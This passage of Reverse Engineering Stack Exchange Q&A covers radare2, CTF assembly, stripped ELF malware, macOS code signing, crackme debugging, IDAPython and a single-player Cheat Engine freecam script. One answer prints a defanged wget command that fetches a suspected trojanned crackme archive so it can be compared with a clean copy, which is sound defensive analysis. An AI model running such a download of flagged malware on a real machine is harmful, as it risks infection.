        "Answer": "<p>the info command holds all the args passed to radare2  and you can use the internal grep too to find it </p>\n\n<pre><code>:\\&gt;radare2 -Q -c \"i~ref\" -d cmdlnargs.exe firstarg secarg thirdarg\nSpawned new process with pid 6032, tid = 3196\nr_sys_pid_to_path: Cannot get module filename.= attach 6032 3196\nbin.baddr 0x01330000\nUsing 0x1330000\nSpawned new process with pid 872, tid = 2512\nr_sys_pid_to_path: Cannot get module filename.asm.bits 32\nreferer  dbg://cmdlnargs.exe firstarg secarg thirdarg\n</code></pre>\n\n<p>the same command performed inside radare instead of shell </p>\n\n<pre><code>:\\&gt;radare2 -d cmdlnargs.exe firstarg secarg thirdarg\nSpawned new process with pid 5356, tid = 2704\nr_sys_pid_to_path: Cannot get module filename.= attach 5356 2704\nbin.baddr 0x01330000\nUsing 0x1330000\nSpawned new process with pid 5296, tid = 6036\nr_sys_pid_to_path: Cannot get module filename.asm.bits 32\n -- Are you still there?\n[0x779d70d8]&gt; i~ref\nreferer  dbg://cmdlnargs.exe firstarg secarg thirdarg\n[0x779d70d8]&gt; q\nDo you want to quit? (Y/n) y\nDo you want to kill the process? (Y/n) y\n\n:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "18100",
        "CreationDate": "2018-04-25T16:37:30.047",
        "Body": "<p>I've just started to dip into Assembly for CTF reversing challenges, and am having a great time. </p>\n\n<p>A loop structure in the current challenge I'm working on has me stumped, however - hoping someone can help with a few basic Assembly questions - or point me to good resources.</p>\n\n<p>I ran the binary provided for the challenge through Binary Ninja and identified the key function - tracing the logic within a loop is giving me problems.</p>\n\n<p>For the program to return the flag, we need this check function - which looks at a user-entered string - to return 1. For the check function to return a 1, we need this loop to set EAX to 0x1.</p>\n\n<p>The loop starts off fairly simply:</p>\n\n<pre><code>080486d5  sub     dword [ebp-0x10 {var_14_1} {var_14}], 0x1 \n080486d9  mov     dword [ebp-0xc {var_10_1}], 0x0\n080486e0  jmp     0x804870b\n</code></pre>\n\n<p>var_14 is the string length of the user input. By this point in the function, we know that the string length has to be at least 20</p>\n\n<p>So this seems to simply set var_14_1 to var_14-1 and var_10_1 to 0.</p>\n\n<p>Then we enter the loop.</p>\n\n<p>The first block of the loop reads:</p>\n\n<pre><code>0804870b  mov     eax, dword [ebp-0xc {var_10_1}]\n0804870e  cmp     eax, dword [ebp-0x10 {var_14_1}]\n08048711  jbe     0x80486e2\n</code></pre>\n\n<p>Which seems to say that if var_10_1 is less than var_14_1 continue with the loop.\nThis next block of the loop is where I think I'm not reading the code correctly:</p>\n\n<pre><code>080486e2  mov     edx, dword [ebp+0x8 {arg1}]\n080486e5  mov     eax, dword [ebp-0xc {var_10_1}]\n080486e8  add     eax, edx                  \n080486ea  movzx   edx, byte [eax]               \n080486ed  mov     ecx, dword [ebp+0x8 {arg1}]\n080486f0  mov     eax, dword [ebp-0x10 {var_14_1}]\n080486f3  add     eax, ecx\n080486f5  movzx   eax, byte [eax]\n080486f8  cmp     dl, al                    \n080486fa  je      0x8048703\n</code></pre>\n\n<p>arg1 is the user input - at this point all the know is that it has to be at least 20 characters long, and the first 4 characters are \"auqa\" </p>\n\n<p>We need this cmp to succeed (dl == al) for the loop to continue. Otherwise, the code exits the loop and returns EAX to 0x0 (failure). Having said that - if we know that var_10_1 is 0 and var_14_1 is at least 19 at this first pass in the loop, and we add each to arg1 - then how can DL and AL be equal? Am I misunderstanding how <code>add eax, edx</code> and <code>add eax, ecx</code> work?</p>\n\n<p>I'm not sure where my understanding of the code is incorrect - very much appreciate any tips or pointers. Apologize if this covers basic knowledge - I'm working through these on my own.</p>\n\n<p>Thank you!</p>\n",
        "Title": "Question relating to learning Assembly through CTF challenges",
        "Tags": "|disassembly|assembly|x86|",
        "Answer": "<p>This seems to be a search in your string for the first character matching the starting character</p>\n\n<p><code>080486e2  mov     edx, dword [ebp+0x8 {arg1}]       ;arg1 -> edx, Pointer to string\n080486e5  mov     eax, dword [ebp-0xc {var_10_1}]   ;0-> eax\n080486e8  add     eax, edx                          ;eax = eax + edx, i.e. eax = Pointer to string\n080486ea  movzx   edx, byte [eax]                   ; 1st character -> edx (zero extend)<br>\n080486ed  mov     ecx, dword [ebp+0x8 {arg1}]       ;arg1-> ecx, Pointer to string\n080486f0  mov     eax, dword [ebp-0x10 {var_14_1}]  ; var_14_1 -> eax\n080486f3  add     eax, ecx                          ;eax = eax + ecx; Ptr at pos. var_14_1\n080486f5  movzx   eax, byte [eax]                   ; content of that ptr -> eax\n080486f8  cmp     dl, al                            ; are both characters equal?<br>\n080486fa  je      0x8048703                         ; yes (i.e. ZF = 1) jmp to 0x848703\n                                                    ; no: continue here\n</code></p>\n"
    },
    {
        "Id": "18115",
        "CreationDate": "2018-04-26T18:44:17.973",
        "Body": "<p>Reversing a malware sample and have identified the elf as stripped which seems to be why none of the functions are explicitly named. Also, there are no specified imports listed for some reason. Does not appear to be obfuscated though I could be wrong. The strings are not obfuscated so I have been trying to get my hands dirty in basic analysis by looking up where the strings correspond in disassembly. No doubt I will have to find a way to easily identify these thousands of functions which appear just as numerals rather than explicit names. Any suggestions?</p>\n",
        "Title": "Stripped elf executable with ~3000 unnamed functions",
        "Tags": "|disassembly|",
        "Answer": "<p>Although many ELF files have a symbol table, it is not required for executing a program by the OS. In particular, statically-linked programs embed all necessary library code inside, making the binary completely independent from any external libraries and able to run stand-alone.</p>\n\n<p>So you can start by identifying library functions. There are many ways to do it, here's a few suggestuions:</p>\n\n<ul>\n<li><p>If you know/can guess the compiler and the version used to compile the binary, you can try to match the libraries shipped with the compiler against the binary. GCC often leaves its version string in the binaries (sometimes even stripped ones), for example:</p>\n\n<p><code>GCC: (Sourcery G++ Lite 2010.09-58) 4.5.1</code><br>\n<code>GCC: (GNU) 4.8</code></p></li>\n<li><p>you can try looking for strings which identify library source files, function names or other messages which are unique enough to identify the function, e.g.:</p>\n\n<p><code>__get_myaddress: ioctl (get interface configuration)</code><br>\n<code>RPC: (unknown error code)</code></p></li>\n</ul>\n\n<p>If all else fails or the binary does not use a standard library, you can always fall back to tracking the use of syscalls.</p>\n\n<p>The binary has to interact with the OS somehow. This is done using so-called <em>syscalls</em> (system calls) - special instructions which invoke OS services. On x86_64, this is done with the <code>syscall</code> instruction, on <code>i386</code> Linux using <code>int 0x80</code>, while on ARM Linux, the <code>SVC</code> (supervisor call) instruction is used. ARM system calls on EABI systems use numbers <a href=\"https://w3challs.com/syscalls/?arch=arm_strong\" rel=\"nofollow noreferrer\">starting from <code>0x900000</code></a> which are stored in <code>r7</code> before invoking the <code>SVC</code> instruction. So, for example, you can search for <code>0x900004</code> to find the <code>write</code> syscalls which are likely to be used in output functions.</p>\n"
    },
    {
        "Id": "18124",
        "CreationDate": "2018-04-29T09:53:19.027",
        "Body": "<p>I am working on a project that requires to modify an existing OSX application's <code>dylib</code> binary (few bytes to correct an obsolete URL). I do not have access to the application source code nor the code signing certificates. After patching the application everything works perfectly except it does not load its application <code>plist</code> file from <code>~/Library/Preferences</code>. </p>\n\n<p>Even without patching/modifying the application if I do:</p>\n\n<pre><code>codesign -s \"Local Codesign\" -f ./lib&lt;name&gt;.dylib\n</code></pre>\n\n<p>and execute the application it does not read its properties from</p>\n\n<pre><code>~/Library/Preferences/&lt;application id&gt;.plist\n</code></pre>\n\n<p>including previously opened files or connected servers. If I copy back the original (developer signed) <code>dylib</code> then everything works fine: properties are read back again.</p>\n\n<p>One strange thing: even with my local signed binary which is unable to read the <code>plist</code> file if I change something the changes are written back. So if this is an OSX security related stuff seems it's only affects reads.</p>\n\n<p>Now my questions and assumptions:</p>\n\n<ul>\n<li>Am I right when I am assuming that this is some kind of OSX security mechanism that ensures application <code>plist</code> data cannot be accessed from a non-same-developer signed binary? If yes, why can it write and protects reads only?</li>\n<li>Does any of you find similar issue when modified an OSX binary?</li>\n<li>How can I debug this behaviour?  </li>\n<li>And yes: any solutions?</li>\n</ul>\n\n<p>Any comments and feedbacks are welcome.</p>\n",
        "Title": "OSX User level application Preferences (plist) are not loaded after binary modification",
        "Tags": "|osx|patching|binary-editing|macos|",
        "Answer": "<p>I could find some hints by googling the error message, e.g.:</p>\n\n<p><a href=\"https://stackoverflow.com/a/40705362/422797\">https://stackoverflow.com/a/40705362/422797</a></p>\n\n<p>Looks like it's not related to the plist but possibly to some security APIs (e.g. keychain access or <code>SecCodeCheckValidity</code>) used by the program.\nApparently the OS caches signing info based on the file's vnode, and if you replace it in-place that invalidates the signature. The linked answer suggests some workarounds.</p>\n"
    },
    {
        "Id": "18125",
        "CreationDate": "2018-04-29T10:49:58.463",
        "Body": "<p>I am trying to learn to reverse Engineering , i am very new and my English is very Poor... .I wanting to make this <a href=\"http://octopuslabs.io/legend/blog/archives/2390/2390.htm\" rel=\"nofollow noreferrer\">exercise</a> , but can't it , because not receive the hWnd identified from the MessageBox ,it is empty ....</p>\n\n<p>The screenshot from they\n<a href=\"https://i.stack.imgur.com/pcOqS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pcOqS.png\" alt=\"enter image description here\"></a></p>\n\n<p>My screenshot\n<a href=\"https://i.stack.imgur.com/zBdu5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zBdu5.png\" alt=\"enter image description here\"></a>   </p>\n\n<p>I have to want to make this exercise with Ollydbg and Immunty Debugger , but without result... .I working with a Windows 7 , inside a VirtualBox   .\n<a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms632597%28v=vs.85%29.aspx#window_handle\" rel=\"nofollow noreferrer\">Here</a> Speak what HWND do , what i don't Understande because all crackme.exe which i Downloaded have this parameter <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505(v=vs.85).aspx\" rel=\"nofollow noreferrer\">NULL</a>.\nCan Please anybody help me and with easy Words explain me how to solve this Problem , Thanks!</p>\n",
        "Title": "Empty Parameter an MessagerBox",
        "Tags": "|debugging|immunity-debugger|",
        "Answer": "<p>a hWnd to a MessageBox can be NULL   </p>\n\n<p>if you give NULL as an arg it measns the MessageBox is NonModal    </p>\n\n<p>NonModal means you can keep working with the parent application without having to dismiss the MessageBox    </p>\n\n<p>which version of ollydbg are you using if it was v 1.0  it came with a default commandline plugin  (alt + f1)  where you can type [ebp+8]  and get the result </p>\n\n<p><a href=\"https://i.stack.imgur.com/qZajL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qZajL.png\" alt=\"enter image description here\"></a></p>\n\n<p>if you are using v 2.0 use ctrl+g on the respective panes </p>\n\n<p>if you want to view in dump select dump pane first and then \nhit ctrl+g  type in [ebp+8] and follow expression </p>\n\n<p>or you can use the address relative to option in stack to have a visual </p>\n\n<p><a href=\"https://i.stack.imgur.com/emkZA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/emkZA.png\" alt=\"enter image description here\"></a></p>\n\n<p>do not use the executable from octopuslabs it is probably trojanned \nthe exe from crackmes.cf appears to be 1 kb less than that of octopuslabs exe </p>\n\n<p>anyway at [ebp+8] you wont get the same handle as in the tutorial it will be different for each invocation\njust because you have a different handle does not matter </p>\n\n<pre><code>C:\\lafarge2&gt;ls -R\n.:\ncrackme.exe  octo\n\n./octo:\nfilehash.py  getoctocrackme.bat\n\nC:\\lafarge2&gt;cat octo\\getoctocrackme.bat\nwget -c hxxp://BEWARE_MALWARE_octopuslabs.io/legend/files/tuts/R4ndom_tutorial_22.zip\nC:\\lafarge2&gt;cd octo\nC:\\lafarge2\\octo&gt;getoctocrackme.bat\n\nLength: 1555447 (1.5M) [application/zip]\nSaving to: 'R4ndom_tutorial_22.zip'\n\nC:\\lafarge2\\octo&gt;e:\\7z\\7z.exe e R4ndom_tutorial_22.zip\n\nEverything is Ok\nFiles: 7\n\nC:\\lafarge2&gt;fc crackme.exe octo\\crackme.exe\nComparing files crackme.exe and OCTO\\CRACKME.EXE\n000000CE: 04 05\n\n0000095F: 79 C9\n^C\nC:\\lafarge2&gt;octo\\filehash.py crackme.exe\n2ef9a7504dddb18f0ecd7fce3a720dc131c6994d\n\nC:\\lafarge2&gt;octo\\filehash.py octo\\crackme.exe\ncdcf6fbbb70010f1c9d4e4b4d2f0dea60f61c50d\n</code></pre>\n\n<p>an extra section </p>\n\n<pre><code>C:\\lafarge2&gt;dumpbin /nologo octo\\crackme.exe | tail -n 5 &amp; dumpbin /nologo crackme.exe | tail -n 5\n        8000 .data\n        1000 .r4nd\n        1000 .rdata\n        B000 .rsrc\n        4000 .text\n\n        8000 .data\n        1000 .rdata\n        B000 .rsrc\n        4000 .text\n</code></pre>\n"
    },
    {
        "Id": "18141",
        "CreationDate": "2018-05-01T05:34:07.110",
        "Body": "<p>I have functions </p>\n\n<pre><code>foo_0(...,_ v0,...)\nfoo_1(...,_ v1,...)\n...\n</code></pre>\n\n<p>And, for each <code>(foo_x, _ v_x)</code> pair, I would like to change the type of <code>v_x</code> in the declaration to <code>ANIMAL *</code>, where <code>ANIMAL</code> is a local type. </p>\n\n<p>I recycled some code from <a href=\"https://reverseengineering.stackexchange.com/questions/8870/\">this question</a>, as follow:</p>\n\n<pre><code>from idaapi import *\n\ntif = tinfo_t()\nget_tinfo2(ea, tif)\n\nfuncdata = func_type_data_t()\ntif.get_func_details(funcdata)\n</code></pre>\n\n<p>After this I was stuck, as <code>funcdata[i].type</code> is a <code>tinfo_t</code> object which I could not find a way to create/modify easily. </p>\n\n<p>My last resort would be to use <code>GuessType</code>/<code>GetType</code> and modify the string before <code>SetType</code>, but this might be a tad complicated since some arguments are pointers to functions themselves.</p>\n\n<p>Any suggestions would be most welcome!</p>\n",
        "Title": "IDA: Changing type of arguments to local type",
        "Tags": "|ida|idapython|",
        "Answer": "<p>This worked for me (checks might be needed on <code>guess_tinfo</code> and <code>get_func_details</code>)</p>\n\n<pre><code>tif = idaapi.tinfo_t()\nida_typeinf.guess_tinfo(ea,tif)                     \nfuncdata = idaapi.func_type_data_t()\ntif.get_func_details(funcdata)\ntif2 = idaapi.tinfo_t()\ntif2.get_named_type(idaapi.get_idati(),\"ANIMAL\")       #tif2 = ANIMAL\ntif3 = tinfo_t()\ntif3.create_ptr(tif2)                                  #tif3 = ANIMAL *\nfuncdata[argnum].type = tif3                           #replace corresponding argument\nfunction_tinfo = idaapi.tinfo_t()\nfunction_tinfo.create_func(funcdata)\nidaapi.apply_tinfo2(ea, function_tinfo, idaapi.TINFO_DEFINITE)\n</code></pre>\n"
    },
    {
        "Id": "18144",
        "CreationDate": "2018-05-01T21:00:53.023",
        "Body": "<p><strong><a href=\"https://gamedev.stackexchange.com/questions/158050/what-am-i-missing-for-this-flycam-to-work-correctly\">I've posited a similar question</a></strong> over on the Game Development StackExchange, but I'm going to refine it, elaborate, and piecemeal a more R.E.-specific context with the hope that someone out there has experience with this!</p>\n\n<p>To start, I'm looking to create a free-fly cam hack where I can move anywhere with forward orientation always being where my mouse is pointing.</p>\n\n<p>The game I'm hacking (single-player-only) auto-moves the player after tasks are completed; there are no instructions bound to player movement with anything but rotation via mouse. This means I'm building in WASD functionality myself, in a sense. I've found an instruction to inject on which allows me to obtain the XYZ coordinates (which change when the game auto-moves the player) of the camera, as well as its rotation data. Thus, I have the following:</p>\n\n<blockquote>\n  <ul>\n  <li>camX (Plane) -- Value is a float ranging from negative to positive</li>\n  <li>camY (Plane) -- Value is a float ranging from negative to positive</li>\n  <li>camZ (Up/Down) -- Value is a float ranging from negative to positive</li>\n  <li>camH (Horizontal/Yaw) -- Value is a float in degrees from +180 to -180</li>\n  <li>camV (Vertical/Pitch) -- Value is a float in degrees clamped to +89 to -89</li>\n  </ul>\n</blockquote>\n\n<p>With that information, I've written a script in Lua (for use in <strong><a href=\"https://github.com/cheat-engine/cheat-engine\" rel=\"nofollow noreferrer\">Cheat Engine</a></strong>) which allows me to bind directions (forward, backward, left, right, up, and down) to keys (W, A, S, D, Q, and E); however, those simply add/subtract to/from XYZ values along with a speed modifier, meaning if I'm facing forward and moving forward, everything is fine. Turning 180 degress with the mouse, though, effectively means back is forward, left is right, etc.</p>\n\n<p>What I'm looking to achieve is having those directional keys apply to wherever I'm aiming the mouse pointer. So, forward is always where I'm facing, etc.</p>\n\n<p>What I've done so far is some combination of the following:</p>\n\n<ul>\n<li>Download flycam/freecam scripts from other games and replace relevant instructions/data/etc. with my own.</li>\n<li>Attempt to create my own based on various information I've gathered (<strong><a href=\"https://www.cheatengine.org/forum/viewtopic.php?p=5643360\" rel=\"nofollow noreferrer\">example here</a></strong>) and general research of trigonometry and vector calculus as related to game development.</li>\n</ul>\n\n<p>It seems that no matter how much I <em>think</em> I understand what's going on, I've yet to make this work.</p>\n\n<p>Something I've gathered is that it would really behoove me to find where the game stores/references <strong>sin</strong> and <strong>cos</strong> information, such that I don't have to calculate those values on my own via something like math.cos()/math.sin() and possibly converting degrees/radians, etc. And even those manual calculations I've tried haven't worked out, so I'm not sure I fully grasp what I need to there.</p>\n\n<p>Bearing all of the aforementioned in mind, here are my questions:</p>\n\n<blockquote>\n  <p><strong>Question 1</strong>: What do sin/cos values tend to look like, and at what point through a camera/coord-related subroutine might I expect to see\n  them (whether on the stack, in FPU/XMM registers, etc.)? I've gathered\n  that these should be close to where I'm dabbling either in memory or\n  within a subroutine, but I'm just not quite sure what I'm looking for.</p>\n  \n  <p><strong>Question 2</strong>: Are there general approaches through reversing to identify the coordinate system of a game? In the case of the game I'm\n  hacking, it's developed in Unreal Engine 4, so I can simply <strong><a href=\"http://www.aclockworkberry.com/world-coordinate-systems-in-3ds-max-unity-and-unreal-engine/\" rel=\"nofollow noreferrer\">look up\n  the engine's coordinate system</a></strong>; however, if I wanted to validate\n  such findings (possibly fleshing out if a game is using a custom\n  coordinate system instead of the in-built one) or discover anew when\n  dealing with a custom engine, how I might I do that? Are they values\n  that tend to reside in nearby memory addresses of avatar/camera data,\n  or possibly in registers/on the stack in camera-related subroutines?</p>\n  \n  <p><strong>Question 3</strong>: If I know the coordinate system used in the game, as well as the XYZ and Pitch/Yaw camera values, is there a formulaic way\n  I can calculate sin/cos therewith to then use with a speed modifier to\n  successfully implement a freecam? This, in the event that I cannot find \n  sin/cos within the game to use within my script.</p>\n  \n  <p><strong>Question 4</strong>: I only have a cursory understanding of the trig/calc I've looked up in trying to understand calculations as related to\n  sin/cos. Given a left-hand <em>and</em> right-hand coordinate system with Z\n  being up, along with XYZ, Pitch/Yaw data, and a speed modifier, could\n  someone possibly walk me through the necessary calculations for making\n  forward work in both coordinate systems no matter where the user\n  points the mouse? For example, what exactly the sin/cos values are\n  comprised of at any given time, how/why they matter, and why you would\n  add/sub/mul to appropriately modify XYZ, etc?</p>\n</blockquote>\n\n<p>Apologies for the verbosity and if I'm unknowingly asking questions that require FAR more understanding to adequately answer, but I just wanted to be thorough in explaining my research and efforts up to this point.</p>\n\n<p>Thank you for any guidance you can provide!</p>\n",
        "Title": "Need help with reverse engineering camera-related information in a video game",
        "Tags": "|assembly|cheat-engine|lua|",
        "Answer": "<p>After a lot of trial and error, and bits and pieces of the puzzle coming together from a lot of different sources and peoples' help, I'd like to answer my own questions to the extent I feel I'm able to. I hope this helps someone else down the road who runs into this issue.</p>\n\n<blockquote>\n  <p><strong>Question 1</strong>: What do sin/cos values tend to look like, and at what\n  point through a camera/coord-related subroutine might I expect to see\n  them (whether on the stack, in FPU/XMM registers, etc.)? I've gathered\n  that these should be close to where I'm dabbling either in memory or\n  within a subroutine, but I'm just not quite sure what I'm looking for.</p>\n</blockquote>\n\n<p>These values will be the sin and cos of the camera's pitch (vertical movement) and yaw (horizontal movement). They will likely reside somewhere in nearby memory of your camera's pitch/yaw addresses, or within registers while pitch/yaw are being calculated within a subroutine. A game can represent pitch and yaw in either degrees or radians.</p>\n\n<p><strong>Examples of pitch:</strong></p>\n\n<p><code>Range in degrees: -89 to 89 (Example of a clamped range, to avoid flipping)</code></p>\n\n<p><code>Same range in radians: -1.55334 to 1.55334</code></p>\n\n<p><strong>Examples of yaw:</strong></p>\n\n<p><code>Range in degrees: -180 to 180 (Equaling 360 degrees total)</code></p>\n\n<p><code>Same range in radians: -3.14159 to 3.14159</code></p>\n\n<p>If the game you're reversing has its values stored as degrees, depending on how you plan to calculate sin/cos, you may need to convert degrees to radians. Since Lua is what I used, its degrees-to-radians function is <code>math.rad()</code>. So, math.rad(180) would give us a conversion from 180 degrees to 3.14159 radians.</p>\n\n<p>With this value, we can now utilize Lua's <code>math.cos()</code> and <code>math.sin()</code> functions. Suppose we are looking for the sin and cos of the camera's yaw while it's at 63 degrees. The values we would be looking for in memory, on the stack, or in registers are 0.4539 (cosine, or <code>math.cos(63)</code>) and 0.891007 (sine, or <code>math.sin(63)</code>), respectively.</p>\n\n<p>From a formulaic perspective, here's how we could set variables to give us sin and cos of a camera's yaw in Lua, provided we know the address the value is stored in:</p>\n\n<p><code>--Read and store value from camera yaw memory address\nlocal camYaw = readFloat(\"[cameraBase+1D0]\")</code></p>\n\n<p><code>--Convert yaw to radians, then calculate cosine\nlocal camYawCos = math.cos(math.rad(camYaw))</code></p>\n\n<p><code>--Convert yaw to radians, then calculate sine\nlocal camYawSin = math.sin(math.rad(camYaw))</code></p>\n\n<p><em>Remember, if the game you're reversing already has its values stored as radians, you don't have to worry about the step of converting degrees to radians!</em></p>\n\n<p>The formulas above can help you figure out where certain values are residing by allowing you to calculate the values yourself, then simply look for them in memory, on the stack, or in registers.</p>\n\n<blockquote>\n  <p><strong>Question 2</strong>: Are there general approaches through reversing to identify\n  the coordinate system of a game?</p>\n</blockquote>\n\n<p>I'm still uncertain about this at the moment. You can figure it out by seeing how your calculations act once you've discovered XYZ Pitch/Yaw, but that's not quite the answer I'd like to know with this. I'll update this answer if/when I figure this out.</p>\n\n<blockquote>\n  <p><strong>Question 3</strong>: If I know the coordinate system used in the game, as well\n  as the XYZ and Pitch/Yaw camera values, is there a formulaic way I can\n  calculate sin/cos therewith to then use with a speed modifier to\n  successfully implement a freecam? This, in the event that I cannot\n  find sin/cos within the game to use within my script.</p>\n  \n  <p><strong>Question 4</strong>: I only have a cursory understanding of the trig/calc I've\n  looked up in trying to understand calculations as related to sin/cos.\n  Given a left-hand and right-hand coordinate system with Z being up,\n  along with XYZ, Pitch/Yaw data, and a speed modifier, could someone\n  possibly walk me through the necessary calculations for making forward\n  work in both coordinate systems no matter where the user points the\n  mouse? For example, what exactly the sin/cos values are comprised of\n  at any given time, how/why they matter, and why you would add/sub/mul\n  to appropriately modify XYZ, etc?</p>\n</blockquote>\n\n<p>I'm going to tie both of these together with the script I ended up creating.</p>\n\n<p>First, credit where credit is due. I used <strong><a href=\"https://fearlessrevolution.com/threads/assassins-creed-origins.5267/page-13#post-32442\" rel=\"nofollow noreferrer\">SunBeam's Assassin's Creed: Origins script</a></strong> as an initial template. Also, I found examples from the fine individuals contributing to <strong><a href=\"https://forum.cheatengine.org/viewtopic.php?t=587133\" rel=\"nofollow noreferrer\">this post</a></strong> to be very illuminating along the way--as well as the answer <strong><a href=\"https://reverseengineering.stackexchange.com/a/18178/20928\">here</a></strong> by GuidedHacking, and the answer by DMGregory where I initially <strong><a href=\"https://gamedev.stackexchange.com/questions/158050/what-am-i-missing-for-this-flycam-to-work-correctly\">posted my inquiry</a></strong>. Lastly, <strong><a href=\"https://weblogs.asp.net/fbouma/let-s-add-a-photo-mode-to-wolfenstein-ii-the-new-colossus-pc\" rel=\"nofollow noreferrer\">this colossal work</a></strong> by Frans Bouma on game camera reversing is a wonderful reference for anyone looking to broach this topic.</p>\n\n<p>Now, in a left-hand coordinate system, all you should need to plug into this script is the camera's XYZ coordinates, as well as the camera's pitch and yaw. You can change the speed modifier to whatever you would like. I have keys bound to make the camera move faster and slower, and I've also implemented strafing, so you can move diagonally as you rotate.</p>\n\n<p>This is a Lua script, created to run in <strong><a href=\"https://github.com/cheat-engine/cheat-engine\" rel=\"nofollow noreferrer\">Cheat Engine</a></strong>. The top of the script uses a Cheat Engine function to allocate memory to store the speed modifier value within. I've commented everything copiously, so you should find it relatively easy to convert this to your high-level language of choice if need be!</p>\n\n<pre><code>globalalloc(speedModifier,8) --Allocate 8 bytes memory\nspeedModifier:\ndd (float)2 --Store a float of 2\n\n{$lua} --Tells Cheat Engine to treat everything beneath as Lua\n\n[ENABLE] --Everything beneath this happens when this script is enabled\n\nfunction checkKeys(timer) --Check keys for input (check on a timer)\n\n--Speed modifier value, read from memory location we allocated earlier\nlocal speed = readFloat(\"speedModifier\")\n\n--Camera coordinates stored in variables\nlocal camx = readFloat(\"[camBase]+1A0\") -- Camera X\nlocal camy = readFloat(\"[camBase]+1A8\") -- Camera Y\nlocal camz = readFloat(\"[camBase]+1A4\") -- Camera Z\n\n--Mouse rotation in radians\n--Use math.rad() to convert from degrees if necessary\nlocal rotv = math.rad(readFloat(\"[camBase]+1D0\")) -- Vertical (Pitch)\nlocal roth = math.rad(readFloat(\"[camBase]+1D4\")) -- Horizontal (Yaw)\n\n--Sine and Cosine of Rotation Values\nlocal sinh = math.sin(roth) -- Sine of Horizontal (Yaw)\nlocal cosh = math.cos(roth) -- Cosine of Horizontal (Yaw)\nlocal sinv = math.sin(rotv) -- Sine of Vertical (Pitch)\nlocal cosv = math.cos(rotv) -- Cosine of Vertical (Pitch)\n\n  --Hotkey Setup\n  --[[\n        Button Mappings:\n\n        Y - Forward\n        G - Left\n        H - Backward\n        J - Right\n        T - Down\n        U - Up\n        C - Speed Up\n        Alt - Slow Down\n\n      --Key combinations for strafing are also defined\n      --Keys are oriented to where mouse is pointing\n  ]]\n\n  --Forward\n  if isKeyPressed(VK_Y) then\n    writeFloat(\"[camBase]+1A0\", camx + (cosh * speed))\n    writeFloat(\"[camBase]+1A8\", camy + (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz + (sinh * speed))\n  end\n  --Left\n  if isKeyPressed(VK_G) then\n    writeFloat(\"[camBase]+1A0\", camx + (math.cos(roth - math.rad(90)) * speed))\n    writeFloat(\"[camBase]+1A4\", camz + (math.sin(roth - math.rad(90)) * speed))\n  end\n  --Back\n  if isKeyPressed(VK_H) then\n    writeFloat(\"[camBase]+1A0\", camx - (cosh * speed))\n    writeFloat(\"[camBase]+1A8\", camy - (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz - (sinh * speed))\n  end\n  --Right\n  if isKeyPressed(VK_J) then\n    writeFloat(\"[camBase]+1A0\", camx - (math.cos(roth - math.rad(90)) * speed))\n    writeFloat(\"[camBase]+1A4\", camz - (math.sin(roth - math.rad(90)) * speed))\n  end\n  --Forward/Right\n  if isKeyPressed(VK_Y) and isKeyPressed(VK_J) then\n    writeFloat(\"[camBase]+1A0\", camx + (math.cos(roth + math.rad(45)) * speed))\n    writeFloat(\"[camBase]+1A8\", camy + (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz + (math.sin(roth + math.rad(45)) * speed))\n  end\n  --Forward/Left\n  if isKeyPressed(VK_Y) and isKeyPressed(VK_G) then\n    writeFloat(\"[camBase]+1A0\", camx + (math.cos(roth - math.rad(45)) * speed))\n    writeFloat(\"[camBase]+1A8\", camy + (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz + (math.sin(roth - math.rad(45)) * speed))\n  end\n  --Back/Left\n  if isKeyPressed(VK_H) and isKeyPressed(VK_J) then\n    writeFloat(\"[camBase]+1A0\", camx - (math.cos(roth - math.rad(45)) * speed))\n    writeFloat(\"[camBase]+1A8\", camy - (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz - (math.sin(roth - math.rad(45)) * speed))\n  end\n  --Back/Right\n  if isKeyPressed(VK_H) and isKeyPressed(VK_G) then\n    writeFloat(\"[camBase]+1A0\", camx - (math.cos(roth + math.rad(45)) * speed))\n    writeFloat(\"[camBase]+1A8\", camy - (sinv * speed))\n    writeFloat(\"[camBase]+1A4\", camz - (math.sin(roth + math.rad(45)) * speed))\n  end\n  --Up\n  if isKeyPressed(VK_U) then\n   writeFloat(\"[camBase]+1A8\", camy + (speed * 0.5))\n  end\n  --Down\n  if isKeyPressed(VK_T) then\n   writeFloat(\"[camBase]+1A8\", camy - (speed * 0.5))\n  end\n\n  --Speed Modifiers\n  if isKeyPressed(VK_C) then --If C is pressed, increase speed; max of 100\n    if (speed &lt; 100) then\n      writeFloat(\"speedModifier\", speed + 1)\n    end\n  elseif isKeyPressed(VK_MENU) then --If Alt is pressed, slow way down\n    writeFloat(\"speedModifier\", .3)\n  else --If nothing is pressed, normal speed\n    writeFloat(\"speedModifier\", 2)\n  end    \nend\n\nt=createTimer(nil)\ntimer_setInterval(t, 10)\ntimer_onTimer(t, checkKeys)\ntimer_setEnabled(t, true)\n\n[DISABLE] --Everything beneath this happens when the script is disabled\n\ntimer_setEnabled(t, false)\n</code></pre>\n"
    },
    {
        "Id": "18148",
        "CreationDate": "2018-05-02T14:03:24.250",
        "Body": "<p>I downloaded radare 2.5 for windows. I am trying to debug a binary on windows with radare and have tried the following:</p>\n\n<pre><code>radare2 -d a.exe\nfork_and_ptraceme/CreateProcess: The request is not supported.\nw32_dbg_maps/w32_OpenProcess: The parameter is incorrect.\n[w] Cannot open 'dbg://a.exe' for writing.\n</code></pre>\n\n<p>I also tried to use gdbserver and use radare to connect remotely. It connects but it gets stuck and I am not able to give it any commands or see anything.</p>\n\n<p>I am going to try windbg remote as well, however, I am starting to wonder, do I need to install another set of libraries or another type of debugger, or do some additional configuration to make debugging work with radare2. Any suggestions?</p>\n",
        "Title": "Radare2 cannot debug on windows 7",
        "Tags": "|windows|debugging|gdb|radare2|",
